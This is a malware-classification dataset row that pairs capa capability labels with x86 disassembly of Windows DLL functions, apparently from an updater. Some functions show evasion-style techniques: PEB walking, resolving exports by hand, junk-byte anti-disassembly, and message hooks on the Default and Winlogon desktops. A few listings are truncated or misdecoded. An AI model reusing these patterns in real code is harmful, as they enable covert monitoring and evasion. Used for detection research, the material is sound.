joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000469f
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
sub esp, 0x650
lea ebp, [esp - 4]
mov eax, dword [0x10053130]
xor eax, ebp
mov dword [ebp + 0x650], eax
push 0x8c
mov eax, 0x100392fb
call fcn.1002205b
mov edi, dword [ebp + 0x65c]
xor esi, esi
xor eax, eax
mov dword [ebp - 0x3c], esi
push 0x206
mov word [ebp + 0x248], ax
lea eax, [ebp + 0x24a]
push esi
push eax
mov dword [ebp - 0x28], edi
call fcn.10022680
add esp, 0xc
mov ecx, edi
call fcn.100019d2
lea eax, [ebp + 0x248]
push eax
push esi
push esi
xor ebx, ebx
push 0x1c
inc ebx
push esi
mov dword [ebp - 0x3c], ebx
mov dword [ebp], esi
mov dword [ebp + 4], esi
mov dword [ebp + 8], esi
mov dword [ebp + 0xc], esi
mov dword [ebp + 0x10], esi
mov dword [ebp + 0x14], esi
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
cmp eax, esi
jge 0x1000473b
mov dword [ebp - 0x34], eax
push 0x100467d0
lea eax, [ebp - 0x34]
push eax
call fcn.10022566
lea eax, [ebp + 0x248]
push eax
mov ecx, edi
call fcn.100015f3
push 0x1003d890
lea ecx, [ebp - 0x24]
call fcn.10001630
push sym.SoftwareUpdateFiles.dll_class_ATL::CStringT_wchar_t__class_StrTraitMFC_wchar_t__class_ATL::ChTraitsCRT_wchar_t____const_SUConstants::App::Package_Directory_Parent_Name
push eax
lea eax, [ebp - 0x2c]
push eax
mov byte [ebp - 4], 2
call fcn.10001ea4
add esp, 0xc
push eax
mov ecx, edi
mov byte [ebp - 4], 3
call fcn.10002146
mov ecx, dword [ebp - 0x2c]
add ecx, 0xfffffff0
call fcn.10001128
mov ecx, dword [ebp - 0x24]
add ecx, 0xfffffff0
mov byte [ebp - 4], bl
call fcn.10001128
mov eax, dword [edi]
lea ecx, [ebp]
push ecx
push eax
call fcn.100189bd
cmp eax, esi
jne 0x100047c5
mov eax, dword [edi]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x100047c5
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x30], eax
push 0x10046e00
lea eax, [ebp - 0x30]
jmp 0x10004735
push 0x1003d890
lea ecx, [ebp - 0x2c]
call fcn.10001630
push sym.SoftwareUpdateFiles.dll_class_ATL::CStringT_wchar_t__class_StrTraitMFC_wchar_t__class_ATL::ChTraitsCRT_wchar_t____const_SUConstants::App::Package_Directory_Name
push eax
lea eax, [ebp - 0x24]
push eax
mov byte [ebp - 4], 4
call fcn.10001ea4
add esp, 0xc
push eax
mov ecx, edi
mov byte [ebp - 4], 5
call fcn.10002146
mov ecx, dword [ebp - 0x24]
add ecx, 0xfffffff0
call fcn.10001128
mov ecx, dword [ebp - 0x2c]
add ecx, 0xfffffff0
mov byte [ebp - 4], bl
call fcn.10001128
mov eax, dword [edi]
lea ecx, [ebp]
push ecx
push eax
call fcn.100189bd
cmp eax, esi
jne 0x10004ba2
mov eax, dword [edi]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x10004ba2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x38], eax
push 0x10046e00
lea eax, [ebp - 0x38]
jmp 0x10004735
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x650]
xor ecx, ebp
call fcn.10022019
add ebp, 0x654
leave
ret 4
Function at 0x10005cad
Capabilities:
Find taskbar

Disassembly:
mov eax, dword [esp + 4]
push esi
xor esi, esi
cmp eax, esi
jne 0x10005cc8
push esi
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowW]
cmp eax, esi
je 0x10005cd3
push 0xffffffffffffffec
push eax
call dword [sym.imp.USER32.dll_GetWindowLongW]
jmp 0x10005cd5
xor eax, eax
shr eax, 0x16
test al, 1
je 0x10005ce1
mov esi, 0x180000
mov eax, esi
pop esi
ret
Function at 0x100063c8
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
sub esp, 0x250
lea ebp, [esp - 4]
mov eax, dword [0x10053130]
xor eax, ebp
mov dword [ebp + 0x250], eax
push 0x18
mov eax, 0x100395ff
call fcn.10022028
mov esi, ecx
mov dword [ebp - 0x24], esi
call sym.SoftwareUpdateFiles.dll_public:_void___thiscall_CSUXMLObject::constructor_void_
xor edi, edi
lea ecx, [esi + 0x58]
mov dword [ebp - 4], edi
mov dword [esi], vtable.CSUCatalogObject.0
call fcn.100019d2
lea ecx, [esi + 0x64]
mov dword [esi + 0x5c], 0x64
call fcn.100019d2
lea ecx, [esi + 0x68]
call fcn.100019d2
lea ecx, [esi + 0x78]
mov dword [esi + 0x6c], edi
mov dword [esi + 0x70], edi
mov dword [esi + 0x74], edi
call fcn.100019d2
lea ecx, [esi + 0x7c]
mov byte [ebp - 4], 4
call sym.SoftwareUpdateFiles.dll_public:_void___thiscall_CIgnoreList::constructor_void_
lea ecx, [esi + 0x94]
call fcn.100019d2
push 0xa
lea ecx, [esi + 0x98]
mov byte [ebp - 4], 6
call fcn.1001b7f5
push 0xa
lea ecx, [esi + 0xc0]
mov byte [ebp - 4], 7
mov dword [esi + 0xb4], edi
mov dword [esi + 0xb8], edi
mov dword [esi + 0xbc], edi
call fcn.1001b202
lea ebx, [esi + 0xdc]
mov ecx, ebx
call fcn.100019d2
push 0xa
mov ecx, esi
mov byte [ebp - 4], 9
call sym.SoftwareUpdateFiles.dll_public_virtual:_void___thiscall_CSUDownloadFileObject::SetDownloadProgressWeight_unsigned_int_
lea eax, [ebp - 0x10]
push eax
mov ecx, esi
call sym.SoftwareUpdateFiles.dll_public:_class_ATL::CStringT_wchar_t__class_StrTraitMFC_wchar_t__class_ATL::ChTraitsCRT_wchar_t______thiscall_CSUFileObject::GetDistCacheDir_void_
push str..
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 4], 0xa
call fcn.10001efb
add esp, 0xc
lea eax, [ebp]
push eax
push dword [ebp - 0x18]
mov byte [ebp - 4], 0xb
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
je 0x1000653d
test byte [ebp], 0x10
jne 0x10006523
push 0x1003d890
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10001efb
lea ecx, [ebp + 0x2c]
push ecx
push eax
lea eax, [ebp - 0x1c]
push eax
mov byte [ebp - 4], 0xc
call fcn.10001efb
mov ecx, dword [ebp - 0x14]
add esp, 0x18
add ecx, 0xfffffff0
mov byte [ebp - 4], 0xb
call fcn.10001128
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
call fcn.10001128
lea eax, [ebp]
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x100064d3
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x1003da3c
lea ecx, [ebp - 0x14]
mov dword [esi + 0x60], edi
call fcn.100020f0
push eax
mov ecx, ebx
mov byte [ebp - 4], 0xd
call fcn.10001e57
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.10001128
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
call fcn.10001128
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.10001128
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x250]
xor ecx, ebp
call fcn.10022019
add ebp, 0x254
leave
ret
Function at 0x10007d83
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x9c
mov dword [ebp + 0x74], 0x10053bd8
mov dword [ebp + 0x24], 0
lea eax, [ebp + 0x24]
push eax
mov ecx, dword [ebp + 0x74]
mov edx, dword [ecx + 0x2c]
push edx
call fcn.10008263
add esp, 8
mov dword [ebp + 0x64], eax
mov eax, dword [ebp + 0x74]
mov ecx, dword [eax + 0x24]
push ecx
mov edx, dword [ebp + 0x74]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp + 0x64]
push ecx
mov edx, dword [ebp + 0x74]
mov eax, dword [edx + 0x44]
push eax
call fcn.100081b3
add esp, 0x10
mov dword [ebp + 0x20], eax
mov ecx, dword [ebp + 0x74]
mov edx, dword [ecx + 4]
push edx
push 0
call dword [ebp + 0x20]
mov dword [ebp + 0x60], eax
mov eax, dword [ebp + 0x74]
mov ecx, dword [eax + 0x24]
push ecx
mov edx, dword [ebp + 0x74]
mov eax, dword [edx + 0x48]
push eax
mov ecx, dword [ebp + 0x64]
push ecx
mov edx, dword [ebp + 0x74]
mov eax, dword [edx + 0x44]
push eax
call fcn.100081b3
add esp, 0x10
mov dword [ebp + 0x1c], eax
push 0x104
mov ecx, dword [ebp + 0x60]
push ecx
push 0
call dword [ebp + 0x1c]
mov dword [ebp + 0x18], eax
mov edx, dword [ebp + 0x74]
mov eax, dword [edx + 0x20]
mov dword [ebp + 0x3c], eax
mov ecx, dword [ebp + 0x18]
mov dword [ebp + 0x68], ecx
mov edx, dword [ebp + 0x68]
mov eax, dword [ebp + 0x60]
movzx ecx, word [eax + edx*2 - 2]
mov edx, dword [ebp + 0x74]
movzx eax, word [edx + 0xc]
cmp ecx, eax
je 0x10007e56
xor ecx, ecx
mov edx, dword [ebp + 0x68]
mov eax, dword [ebp + 0x60]
mov word [eax + edx*2], cx
mov ecx, dword [ebp + 0x68]
sub ecx, 1
mov dword [ebp + 0x68], ecx
jmp 0x10007e29
mov dword [ebp + 0x58], 0
mov edx, dword [ebp + 0x3c]
add edx, dword [ebp + 0x58]
movsx eax, byte [edx]
test eax, eax
je 0x10007e92
mov ecx, dword [ebp + 0x3c]
add ecx, dword [ebp + 0x58]
movsx dx, byte [ecx]
mov eax, dword [ebp + 0x68]
mov ecx, dword [ebp + 0x60]
mov word [ecx + eax*2], dx
mov edx, dword [ebp + 0x68]
add edx, 1
mov dword [ebp + 0x68], edx
mov eax, dword [ebp + 0x58]
add eax, 1
mov dword [ebp + 0x58], eax
jmp 0x10007e5d
mov ecx, dword [ebp + 0x74]
mov edx, dword [ecx + 0x24]
push edx
mov eax, dword [ebp + 0x74]
mov ecx, dword [eax + 0x64]
push ecx
mov edx, dword [ebp + 0x64]
push edx
mov eax, dword [ebp + 0x74]
mov ecx, dword [eax + 0x44]
push ecx
call fcn.100081b3
add esp, 0x10
mov dword [ebp + 0x14], eax
push 0
add byte [ebx + 0x428b7455], cl
push eax
Function at 0x10007eb7
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add byte [ebx + 0x428b7455], cl
push eax
push eax
mov ecx, dword [ebp + 0x74]
mov edx, dword [ecx + 0x40]
push edx
push 0
mov eax, dword [ebp + 0x74]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp + 0x74]
mov eax, dword [edx + 0x5c]
push eax
mov ecx, dword [ebp + 0x60]
push ecx
call dword [ebp + 0x14]
mov dword [ebp + 0x38], eax
mov edx, dword [ebp + 0x74]
mov eax, dword [edx + 0x24]
push eax
mov ecx, dword [ebp + 0x74]
mov edx, dword [ecx + 8]
push edx
mov eax, dword [ebp + 0x64]
push eax
mov ecx, dword [ebp + 0x74]
mov edx, dword [ecx + 0x44]
push edx
call fcn.100081b3
add esp, 0x10
mov dword [ebp + 0x10], eax
push 0
mov eax, dword [ebp + 0x38]
push eax
call dword [ebp + 0x10]
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0x60]
mov dword [ebp + 0x70], ecx
mov edx, dword [ebp + 0x74]
mov eax, dword [edx + 0x24]
push eax
mov ecx, dword [ebp + 0x74]
mov edx, dword [ecx + 0x28]
push edx
mov eax, dword [ebp + 0x64]
push eax
mov ecx, dword [ebp + 0x74]
mov edx, dword [ecx + 0x44]
push edx
call fcn.100081b3
add esp, 0x10
mov dword [ebp + 8], eax
mov dword [ebp + 0x34], 0
push 0
lea eax, [ebp + 0x34]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 0x70]
push edx
mov eax, dword [ebp + 0x38]
push eax
call dword [ebp + 8]
mov ecx, dword [ebp + 0x70]
add ecx, dword [ebp + 0x34]
mov dword [ebp + 0x40], ecx
mov edx, dword [ebp + 0x74]
mov eax, dword [edx + 0x54]
add eax, dword [ebp + 0x70]
mov dword [ebp + 0x70], eax
mov ecx, dword [ebp + 0x70]
mov dword [ebp + 0x6c], ecx
mov edx, dword [ebp + 0x6c]
mov eax, dword [edx]
mov dword [ebp + 4], eax
mov ecx, dword [ebp + 0x6c]
add ecx, 4
mov dword [ebp + 0x6c], ecx
mov edx, dword [ebp + 0x6c]
mov eax, dword [edx]
mov dword [ebp], eax
mov ecx, dword [ebp + 0x6c]
add ecx, 4
mov dword [ebp + 0x6c], ecx
mov dword [ebp + 0x4c], 0
jmp 0x10007fad
Function at 0x100081b3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + edx*8 + 0x78]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 0xc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 0xc]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1c], edx

Function at 0x10008263
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword fs:[0x18]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 8]
mov dword [eax], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
add edx, 0xc
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
je 0x100082da
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x30]
push eax
call fcn.10007cf3
add esp, 4
cmp dword [ebp + 8], eax
jne 0x100082d0
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx + 0x18]
jmp 0x100082dc
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 4], eax
jmp 0x100082a6
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10008e24
Capabilities:
Check os version

Disassembly:
push ebp
sub esp, 0x338
lea ebp, [esp - 4]
mov eax, dword [0x10053130]
xor eax, ebp
mov dword [ebp + 0x338], eax
push 0x64
mov eax, 0x10039c2c
call fcn.10022028
mov edi, 0x11c
push edi
xor esi, esi
lea eax, [ebp]
push esi
push eax
call fcn.10022680
add esp, 0xc
lea eax, [ebp]
mov dword [ebp], edi
mov edi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
push eax
call edi
test eax, eax
jne 0x10008fa1
lea eax, [ebp]
push eax
mov dword [ebp], 0x114
call edi
test eax, eax
jne 0x10008fa1
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
xor eax, eax
push 0x1fe
mov word [ebp + 0x138], ax
lea eax, [ebp + 0x13a]
push esi
push eax
call fcn.10022680
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
movzx eax, word [ebp - 0x12]
push eax
movzx eax, word [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x16]
push eax
movzx eax, word [ebp - 0x1a]
push eax
movzx eax, word [ebp - 0x1c]
push eax
push str.__04d__02d__02d__02d:_02d:_02d:_04d_
lea eax, [ebp + 0x138]
push 0x100
push eax
call fcn.100016e6
add esp, 0x34
push esi
lea ecx, [ebp + 0x11c]
mov dword [ebp + 0x134], 7
call fcn.10001816
push str.Error__CSUComUtil::IsWindowsVistaOrLater__GetVersionEx_failed_with_error__d._n
lea ecx, [ebp - 0x70]
mov dword [ebp - 4], esi
call fcn.1000217b
mov edi, eax
lea eax, [ebp + 0x138]
push eax
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 1
call fcn.1000217b
push edi
push eax
lea eax, [ebp - 0x54]
push eax
mov byte [ebp - 4], 2
call fcn.1000219d
add esp, 0xc
push 0xffffffffffffffff
push esi
push eax
lea ecx, [ebp + 0x11c]
mov byte [ebp - 4], 3
call fcn.10001fc3
push esi
push 1
lea ecx, [ebp - 0x54]
call fcn.10001987
push esi
push 1
lea ecx, [ebp - 0x38]
call fcn.10001987
push esi
push 1
lea ecx, [ebp - 0x70]
call fcn.10001987
cmp dword [ebp + 0x134], 8
mov edi, dword [ebp + 0x120]
jae 0x10008f80
lea edi, [ebp + 0x120]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
call fcn.100226fa
pop ecx
pop ecx
push esi
push 1
lea ecx, [ebp + 0x11c]
call fcn.10001987
xor eax, eax
jmp 0x10008fac
cmp dword [ebp + 4], 6
jb 0x10008faa
xor esi, esi
inc esi
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x338]
xor ecx, ebp
call fcn.10022019
add ebp, 0x33c
leave
ret
Function at 0x100092cf
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0x10]
mov eax, dword [esi]
and dword [esi], 0
push edi
mov edi, dword [ebp + 0xc]
add eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp + 0x10]
push eax
push 0
push dword [ebp + 8]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10009338
cmp dword [ebp + 0x10], 1
je 0x10009310
cmp dword [ebp + 0x10], 2
je 0x10009310
push 0xd
pop eax
jmp 0x10009338
mov eax, dword [ebp - 4]
test edi, edi
je 0x10009332
test eax, eax
je 0x1000932d
test al, 1
jne 0x1000930b
mov ecx, eax
shr ecx, 1
cmp word [edi + ecx*2 - 2], 0
je 0x10009332
jmp 0x1000930b
xor ecx, ecx
mov word [edi], cx
shr eax, 1
mov dword [esi], eax
xor eax, eax
pop edi
pop esi
leave
ret 0xc

Function at 0x1000b81c
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x394]
sub esp, 0x414
mov eax, dword [0x10053130]
xor eax, ebp
mov dword [ebp + 0x390], eax
push ebx
push esi
mov esi, dword [ebp + 0x39c]
push edi
mov edi, dword [ebp + 0x3a0]
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push dword [sym.SoftwareUpdateFiles.dll_class_ATL::CStringT_wchar_t__class_StrTraitMFC_wchar_t__class_ATL::ChTraitsCRT_wchar_t____const_SUConstants::App::Product_Update]
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x78], ebx
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x80], eax
cmp eax, ebx
jne 0x1000b87d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, ebx
jle 0x1000b879
and eax, 0xffff
or eax, 0x80070000
mov edi, eax
jmp 0x1000b8ec
push ebx
push 0x4000000
push ebx
push ebx
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0x74], eax
cmp eax, ebx
je 0x1000b865
push 0x1003fc68
lea eax, [ebp - 0x78]
push edi
push eax
call fcn.1002551b
add esp, 0xc
test eax, eax
jne 0x1000b865
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
mov edi, 0x400
jmp 0x1000b8d0
push dword [ebp - 0x78]
cmp dword [ebp - 0x7c], ebx
je 0x1000b8e4
push dword [ebp - 0x7c]
lea eax, [ebp - 0x70]
push 1
push eax
call fcn.100253d3
add esp, 0x10
lea eax, [ebp - 0x7c]
push eax
push edi
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x74]
call esi
test eax, eax
jne 0x1000b8b7
jmp 0x1000b865
call fcn.10025215
pop ecx
xor edi, edi
cmp dword [ebp - 0x78], ebx
je 0x1000b8fa
push dword [ebp - 0x78]
call fcn.1002302b
pop ecx
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp - 0x74], ebx
je 0x1000b90a
push dword [ebp - 0x74]
call esi
cmp dword [ebp - 0x80], ebx
je 0x1000b914
push dword [ebp - 0x80]
call esi
mov ecx, dword [ebp + 0x390]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10022019
add ebp, 0x394
leave
ret
Function at 0x10022019
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10053130]
jne 0x10022023
repz ret
jmp fcn.10028a5c

Function at 0x100310c4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.100283a0
and dword [ebp - 4], 0
cmp dword [0x10057058], 0
mov ebx, eax
jne 0x10031175
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x10031226
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x10031226
push eax
call fcn.1002832e
mov dword [esp], 0x100440f4
push edi
mov dword [0x10057058], eax
call esi
push eax
call fcn.1002832e
mov dword [esp], 0x100440e0
push edi
mov dword [0x1005705c], eax
call esi
push eax
call fcn.1002832e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10057060], eax
call esi
push eax
call fcn.1002832e
pop ecx
mov dword [0x10057068], eax
test eax, eax
je 0x10031175
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1002832e
pop ecx
mov dword [0x10057064], eax
mov eax, dword [0x10057064]
cmp eax, ebx
je 0x100311cd
cmp dword [0x10057068], ebx
je 0x100311cd
push eax
call fcn.100283a9
push dword [0x10057068]
mov esi, eax
call fcn.100283a9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x100311cd
test edi, edi
je 0x100311cd
call esi
test eax, eax
je 0x100311c4
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x100311c4
test byte [ebp - 0xc], 1
jne 0x100311cd
or dword [ebp + 0x10], 0x200000
jmp 0x10031206
mov eax, dword [0x1005705c]
cmp eax, ebx
je 0x10031206
push eax
call fcn.100283a9
pop ecx
test eax, eax
je 0x10031206
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x10031206
mov eax, dword [0x10057060]
cmp eax, ebx
je 0x10031206
push eax
call fcn.100283a9
pop ecx
test eax, eax
je 0x10031206
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10057058]
call fcn.100283a9
pop ecx
test eax, eax
je 0x10031226
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x10031228
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10009070
Capabilities:
Create thread
Set global application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x10009087
sub dword [edx], ebp
sub ebx, dword [eax + 0x6a]
add byte [edx], ch
pop eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x100146a8], eax
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x100146ac], eax
push 0
push 0
push 0x10009680
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 8], eax
push 0x2000000
push 0
push 0
push str.Default
call dword [sym.imp.USER32.dll_OpenDesktopA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100090f5
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
cmp dword [0x10015c10], 0
jne 0x10009119
push 0
mov ecx, dword [0x10014864]
push ecx
push 0x10008d20
push 4
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c10], eax
cmp dword [0x10015c0c], 0
jne 0x1000913d
push 0
mov edx, dword [0x10014864]
push edx
push 0x10008c40
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c0c], eax
push 0x2000000
push 0
push 0
push str.Winlogon
call dword [sym.imp.USER32.dll_OpenDesktopA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10009164
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
cmp dword [0x10015c14], 0
jne 0x10009188
push 0
mov ecx, dword [0x10014864]
push ecx
push 0x10008f30
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c14], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100091a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x100091b7
sub dword [edx], ebp
sub ebx, dword [eax + 0x6a]
add byte [eax - 0x80], ch
add byte [eax], al
add byte [edx + 4], ch
pop eax
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x100091e1
xor eax, eax
jmp 0x10009229
push 2
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 4], 0
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret